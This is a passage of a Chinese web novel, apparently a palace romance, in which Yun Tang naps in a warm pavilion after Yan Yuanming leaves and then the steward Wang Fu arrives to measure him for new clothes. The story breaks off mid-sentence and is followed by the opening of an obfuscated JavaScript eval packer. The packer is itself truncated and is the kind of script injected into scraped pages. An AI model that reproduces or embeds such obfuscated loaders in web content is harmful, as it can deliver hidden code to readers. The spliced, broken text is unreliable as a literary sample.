棠鼓起勇气,仰起脸,闭上眼。
那姿态,分明是在索吻。
燕元明眼底笑意加深,从善如流地低头,给了他一个绵长温柔的吻。
“乖。”他揉揉云棠的头发,这才真的离开。
燕元明离开后,暖阁里安静下来。
炭盆里的银丝炭噼啪轻响,窗外偶尔有仆从经过的脚步声,压得很低,像是生怕惊扰了这里。
云棠起初还认真翻了几页书,可昨夜睡得并不安稳,此刻暖意一熏,眼皮渐渐沉重起来。
他蜷在榻上,怀里抱着燕元明塞给他的那个手炉。
炉套是玄色云锦,绣着暗金的螭纹,是燕元明平日用的。
鼻尖萦绕着淡淡的松雪气息,不知不觉便睡了过去。
这一觉睡得极沉。
再醒来时,是被隐隐的说话声吵醒的。
云棠迷迷糊糊睁开眼,发现自己身上多了条厚厚的绒毯,手炉也还暖着。
声音是从暖阁外传来的,隔着门板,听不真切。
他坐起身,揉了揉眼睛,正想下榻去寻燕元明,门被轻轻推开了。
进来的是个五十来岁的男子,身着深褐色锦袍,面容和善,身后跟着两个捧着厚厚册子的小厮。
见到云棠,男子立刻躬身行礼:“老奴王甫,是府里的内务总管,惊扰殿下休息了。”
云棠忙道:“无妨,可是有事?”
王甫笑得恭敬:“回殿下,年关将至,府里照例要为主子们裁制新衣,王爷吩咐,殿下的衣裳也得备上几套,老奴特请了锦绣坊的师傅来,不知殿下现下可得空量尺寸?”
原来是为这个。
云棠点头:“有劳王
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.repl